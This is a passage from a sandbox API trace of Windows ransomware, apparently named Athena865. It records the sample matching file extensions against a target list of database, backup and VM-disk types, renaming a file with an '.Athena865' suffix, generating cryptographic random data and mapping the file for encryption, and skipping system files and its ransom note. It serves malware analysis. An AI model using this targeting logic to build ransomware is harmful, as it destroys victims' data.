[0098.765] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1 [0098.765] lstrlenW (lpString="cat") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1 [0098.765] lstrlenW (lpString="cdb") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1 [0098.765] lstrlenW (lpString="ckp") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1 [0098.765] lstrlenW (lpString="cma") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1 [0098.765] lstrlenW (lpString="cpd") returned 3 [0098.765] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1 [0098.765] lstrlenW (lpString="dacpac") returned 6 [0098.765] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1 [0098.766] lstrlenW (lpString="dad") returned 3 [0098.766] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1 [0098.766] lstrlenW (lpString="dadiagrams") returned 10 [0098.766] lstrlenW (lpString="daschema") returned 8 [0098.766] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1 [0098.766] lstrlenW (lpString="db-journal") returned 10 [0098.766] lstrlenW (lpString="db-shm") returned 6 [0098.766] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1 [0098.766] lstrlenW (lpString="db-wal") returned 6 [0098.766] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1 [0098.766] lstrlenW (lpString="dbc") returned 3 [0098.766] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1 [0098.766] lstrlenW (lpString="dbs") returned 3 [0098.766] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1 [0098.766] lstrlenW (lpString="dbt") returned 3 [0098.766] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1 [0098.766] lstrlenW (lpString="dbv") returned 3 [0098.766] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1 [0098.766] lstrlenW (lpString="dbx") returned 3 [0098.766] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1 [0098.766] lstrlenW (lpString="dcb") returned 3 [0098.766] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1 [0098.766] lstrlenW (lpString="dct") returned 3 [0098.766] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1 [0098.766] lstrlenW (lpString="dcx") returned 3 [0098.766] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1 [0098.766] lstrlenW (lpString="ddl") returned 3 [0098.766] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1 [0098.766] lstrlenW (lpString="dlis") returned 4 [0098.767] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1 [0098.767] lstrlenW (lpString="dp1") returned 3 [0098.767] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1 [0098.767] lstrlenW (lpString="dqy") returned 3 [0098.767] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1 [0098.767] lstrlenW (lpString="dsk") returned 3 [0098.767] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1 [0098.767] lstrlenW (lpString="dsn") returned 3 [0098.767] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1 [0098.767] lstrlenW (lpString="dtsx") returned 4 [0098.767] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1 [0098.767] lstrlenW (lpString="dxl") returned 3 [0098.767] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1 [0098.767] lstrlenW (lpString="eco") returned 3 [0098.767] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1 [0098.767] lstrlenW (lpString="ecx") returned 3 [0098.767] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1 [0098.767] lstrlenW (lpString="edb") returned 3 [0098.767] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1 [0098.767] lstrlenW (lpString="epim") returned 4 [0098.767] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1 [0098.767] lstrlenW (lpString="fcd") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1 [0098.768] lstrlenW (lpString="fdb") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1 [0098.768] lstrlenW (lpString="fic") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1 [0098.768] lstrlenW (lpString="flexolibrary") returned 12 [0098.768] lstrlenW (lpString="fm5") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1 [0098.768] lstrlenW (lpString="fmp") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1 [0098.768] lstrlenW (lpString="fmp12") returned 5 [0098.768] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1 [0098.768] lstrlenW (lpString="fmpsl") returned 5 [0098.768] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1 [0098.768] lstrlenW (lpString="fol") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1 [0098.768] lstrlenW (lpString="fp3") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1 [0098.768] lstrlenW (lpString="fp4") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1 [0098.768] lstrlenW (lpString="fp5") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1 [0098.768] lstrlenW (lpString="fp7") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1 [0098.768] lstrlenW (lpString="fpt") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1 [0098.768] lstrlenW (lpString="frm") returned 3 [0098.768] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1 [0098.768] lstrlenW (lpString="gdb") returned 3 [0098.769] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1 [0098.769] lstrlenW (lpString="gdb") returned 3 [0098.769] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1 [0098.769] lstrlenW (lpString="grdb") returned 4 [0098.769] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1 [0098.769] lstrlenW (lpString="gwi") returned 3 [0098.769] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1 [0098.769] lstrlenW (lpString="hdb") returned 3 [0098.769] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1 [0098.769] lstrlenW (lpString="his") returned 3 [0098.769] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1 [0098.769] lstrlenW (lpString="ib") returned 2 [0098.769] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1 [0098.769] lstrlenW (lpString="idb") returned 3 [0098.769] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1 [0098.769] lstrlenW (lpString="ihx") returned 3 [0098.769] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1 [0098.769] lstrlenW (lpString="itdb") returned 4 [0098.769] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1 [0098.769] lstrlenW (lpString="itw") returned 3 [0098.769] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1 [0098.769] lstrlenW (lpString="jet") returned 3 [0098.769] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1 [0098.769] lstrlenW (lpString="jtx") returned 3 [0098.769] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1 [0098.769] lstrlenW (lpString="kdb") returned 3 [0098.769] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1 [0098.769] lstrlenW (lpString="kexi") returned 4 [0098.769] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1 [0098.769] lstrlenW (lpString="kexic") returned 5 [0098.770] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1 [0098.770] lstrlenW (lpString="kexis") returned 5 [0098.770] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1 [0098.770] lstrlenW (lpString="lgc") returned 3 [0098.770] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1 [0098.770] lstrlenW (lpString="lwx") returned 3 [0098.770] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1 [0098.770] lstrlenW (lpString="maf") returned 3 [0098.770] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1 [0098.770] lstrlenW (lpString="maq") returned 3 [0098.770] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1 [0098.770] lstrlenW (lpString="mar") returned 3 [0098.770] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1 [0098.770] lstrlenW (lpString="marshal") returned 7 [0098.770] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1 [0098.770] lstrlenW (lpString="mas") returned 3 [0098.770] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1 [0098.770] lstrlenW (lpString="mav") returned 3 [0098.770] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1 [0098.770] lstrlenW (lpString="maw") returned 3 [0098.770] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1 [0098.770] lstrlenW (lpString="mdbhtml") returned 7 [0098.770] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1 [0098.770] lstrlenW (lpString="mdn") returned 3 [0098.770] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1 [0098.770] lstrlenW (lpString="mdt") returned 3 [0098.770] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1 [0098.770] lstrlenW (lpString="mfd") returned 3 [0098.770] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1 [0098.771] lstrlenW (lpString="mpd") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1 [0098.771] lstrlenW (lpString="mrg") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1 [0098.771] lstrlenW (lpString="mud") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1 [0098.771] lstrlenW (lpString="mwb") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1 [0098.771] lstrlenW (lpString="myd") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1 [0098.771] lstrlenW (lpString="ndf") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1 [0098.771] lstrlenW (lpString="nnt") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1 [0098.771] lstrlenW (lpString="nrmlib") returned 6 [0098.771] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1 [0098.771] lstrlenW (lpString="ns2") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1 [0098.771] lstrlenW (lpString="ns3") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1 [0098.771] lstrlenW (lpString="ns4") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1 [0098.771] lstrlenW (lpString="nsf") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1 [0098.771] lstrlenW (lpString="nv") returned 2 [0098.771] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1 [0098.771] lstrlenW (lpString="nv2") returned 3 [0098.771] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1 [0098.771] lstrlenW (lpString="nwdb") returned 4 [0098.772] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1 [0098.772] lstrlenW (lpString="nyf") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1 [0098.772] lstrlenW (lpString="odb") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1 [0098.772] lstrlenW (lpString="odb") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1 [0098.772] lstrlenW (lpString="oqy") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1 [0098.772] lstrlenW (lpString="ora") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1 [0098.772] lstrlenW (lpString="orx") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1 [0098.772] lstrlenW (lpString="owc") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1 [0098.772] lstrlenW (lpString="p96") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1 [0098.772] lstrlenW (lpString="p97") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1 [0098.772] lstrlenW (lpString="pan") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1 [0098.772] lstrlenW (lpString="pdb") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1 [0098.772] lstrlenW (lpString="pdm") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1 [0098.772] lstrlenW (lpString="pnz") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1 [0098.772] lstrlenW (lpString="qry") returned 3 [0098.772] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1 [0098.773] lstrlenW (lpString="qvd") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1 [0098.773] lstrlenW (lpString="rbf") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1 [0098.773] lstrlenW (lpString="rctd") returned 4 [0098.773] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1 [0098.773] lstrlenW (lpString="rod") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1 [0098.773] lstrlenW (lpString="rodx") returned 4 [0098.773] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1 [0098.773] lstrlenW (lpString="rpd") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 1 [0098.773] lstrlenW (lpString="rsd") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1 [0098.773] lstrlenW (lpString="sas7bdat") returned 8 [0098.773] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1 [0098.773] lstrlenW (lpString="sbf") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1 [0098.773] lstrlenW (lpString="scx") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1 [0098.773] lstrlenW (lpString="sdb") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1 [0098.773] lstrlenW (lpString="sdc") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1 [0098.773] lstrlenW (lpString="sdf") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1 [0098.773] lstrlenW (lpString="sis") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1 [0098.773] lstrlenW (lpString="spq") returned 3 [0098.773] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1 [0098.773] lstrlenW (lpString="te") returned 2 [0098.774] lstrcmpiW (lpString1="sm", lpString2="te") returned -1 [0098.774] lstrlenW (lpString="teacher") returned 7 [0098.774] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1 [0098.774] lstrlenW (lpString="tmd") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1 [0098.774] lstrlenW (lpString="tps") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1 [0098.774] lstrlenW (lpString="trc") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0098.774] lstrlenW (lpString="trc") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0098.774] lstrlenW (lpString="trm") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1 [0098.774] lstrlenW (lpString="udb") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1 [0098.774] lstrlenW (lpString="udl") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1 [0098.774] lstrlenW (lpString="usr") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1 [0098.774] lstrlenW (lpString="v12") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1 [0098.774] lstrlenW (lpString="vis") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1 [0098.774] lstrlenW (lpString="vpd") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1 [0098.774] lstrlenW (lpString="vvv") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1 [0098.774] lstrlenW (lpString="wdb") returned 3 [0098.774] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1 [0098.774] lstrlenW (lpString="wmdb") returned 4 [0098.775] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1 [0098.775] lstrlenW (lpString="wrk") returned 3 [0098.775] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1 [0098.775] lstrlenW (lpString="xdb") returned 3 [0098.775] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1 [0098.775] lstrlenW (lpString="xld") returned 3 [0098.775] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1 [0098.775] lstrlenW (lpString="xmlff") returned 5 [0098.775] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1 [0098.775] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.Athena865") returned 87 [0098.775] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.athena865"), dwFlags=0x1) returned 1 [0098.776] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0098.776] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=766) returned 1 [0098.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0098.776] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0098.777] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.777] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.777] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x600, lpName=0x0) returned 0x17c [0098.779] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x600) returned 0x100000 [0098.988] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0098.989] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.989] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0098.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0098.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f2d8 [0098.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0098.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f2d8 [0098.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0098.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.990] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0098.990] CloseHandle (hObject=0x17c) returned 1 [0098.990] CloseHandle (hObject=0x154) returned 1 [0098.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0098.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.990] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0098.990] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.990] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".") returned 1 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="..") returned 1 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="windows") returned -1 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="bootmgr") returned 1 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="temp") returned 1 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="pagefile.sys") returned 1 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="boot") returned 1 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="ids.txt") returned 1 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="ntuser.dat") returned 1 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="perflogs") returned 1 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="MSBuild") returned 1 [0098.991] lstrlenW (lpString="VC_redist.x64.exe") returned 17 [0098.991] lstrcpyW (in: lpString1=0x241e8d0, lpString2="VC_redist.x64.exe" | out: lpString1="VC_redist.x64.exe") returned="VC_redist.x64.exe" [0098.991] lstrlenW (lpString="VC_redist.x64.exe") returned 17 [0098.991] lstrlenW (lpString="Athena865") returned 9 [0098.991] lstrcmpiW (lpString1="t.x64.exe", lpString2="Athena865") returned 1 [0098.991] lstrlenW (lpString=".dll") returned 4 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".dll") returned 1 [0098.991] lstrlenW (lpString=".lnk") returned 4 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".lnk") returned 1 [0098.991] lstrlenW (lpString=".ini") returned 4 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".ini") returned 1 [0098.991] lstrlenW (lpString=".sys") returned 4 [0098.991] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".sys") returned 1 [0098.991] lstrlenW (lpString="VC_redist.x64.exe") returned 17 [0098.991] lstrlenW (lpString="bak") returned 3 [0098.991] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0098.991] lstrlenW (lpString="ba_") returned 3 [0098.991] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0098.992] lstrlenW (lpString="dbb") returned 3 [0098.992] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0098.992] lstrlenW (lpString="vmdk") returned 4 [0098.992] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0098.992] lstrlenW (lpString="rar") returned 3 [0098.992] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0098.992] lstrlenW (lpString="zip") returned 3 [0098.992] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0098.992] lstrlenW (lpString="tgz") returned 3 [0098.992] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0098.992] lstrlenW (lpString="vbox") returned 4 [0098.992] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0098.992] lstrlenW (lpString="vdi") returned 3 [0098.992] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0098.992] lstrlenW (lpString="vhd") returned 3 [0098.992] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0098.992] lstrlenW (lpString="vhdx") returned 4 [0098.992] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0098.992] lstrlenW (lpString="avhd") returned 4 [0098.992] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0098.992] lstrlenW (lpString="db") returned 2 [0098.992] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0098.992] lstrlenW (lpString="db2") returned 3 [0098.992] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0098.992] lstrlenW (lpString="db3") returned 3 [0098.992] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0098.992] lstrlenW (lpString="dbf") returned 3 [0098.992] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0098.992] lstrlenW (lpString="mdf") returned 3 [0098.992] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0098.992] lstrlenW (lpString="mdb") returned 3 [0098.993] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0098.993] lstrlenW (lpString="sql") returned 3 [0098.993] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0098.993] lstrlenW (lpString="sqlite") returned 6 [0098.993] lstrcmpiW (lpString1="64.exe", lpString2="sqlite") returned -1 [0098.993] lstrlenW (lpString="sqlite3") returned 7 [0098.993] lstrcmpiW (lpString1="x64.exe", lpString2="sqlite3") returned 1 [0098.993] lstrlenW (lpString="sqlitedb") returned 8 [0098.993] lstrcmpiW (lpString1=".x64.exe", lpString2="sqlitedb") returned -1 [0098.993] lstrlenW (lpString="xml") returned 3 [0098.993] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0098.993] lstrlenW (lpString="$er") returned 3 [0098.993] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0098.993] lstrlenW (lpString="4dd") returned 3 [0098.993] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0098.993] lstrlenW (lpString="4dl") returned 3 [0098.993] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0098.993] lstrlenW (lpString="^^^") returned 3 [0098.993] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0098.993] lstrlenW (lpString="abs") returned 3 [0098.993] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0098.993] lstrlenW (lpString="abx") returned 3 [0098.993] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0098.993] lstrlenW (lpString="accdb") returned 5 [0098.993] lstrcmpiW (lpString1="4.exe", lpString2="accdb") returned -1 [0098.993] lstrlenW (lpString="accdc") returned 5 [0098.993] lstrcmpiW (lpString1="4.exe", lpString2="accdc") returned -1 [0098.993] lstrlenW (lpString="accde") returned 5 [0098.993] lstrcmpiW (lpString1="4.exe", lpString2="accde") returned -1 [0098.993] lstrlenW (lpString="accdr") returned 5 [0098.993] lstrcmpiW (lpString1="4.exe", lpString2="accdr") returned -1 [0098.994] lstrlenW (lpString="accdt") returned 5 [0098.994] lstrcmpiW (lpString1="4.exe", lpString2="accdt") returned -1 [0098.994] lstrlenW (lpString="accdw") returned 5 [0098.994] 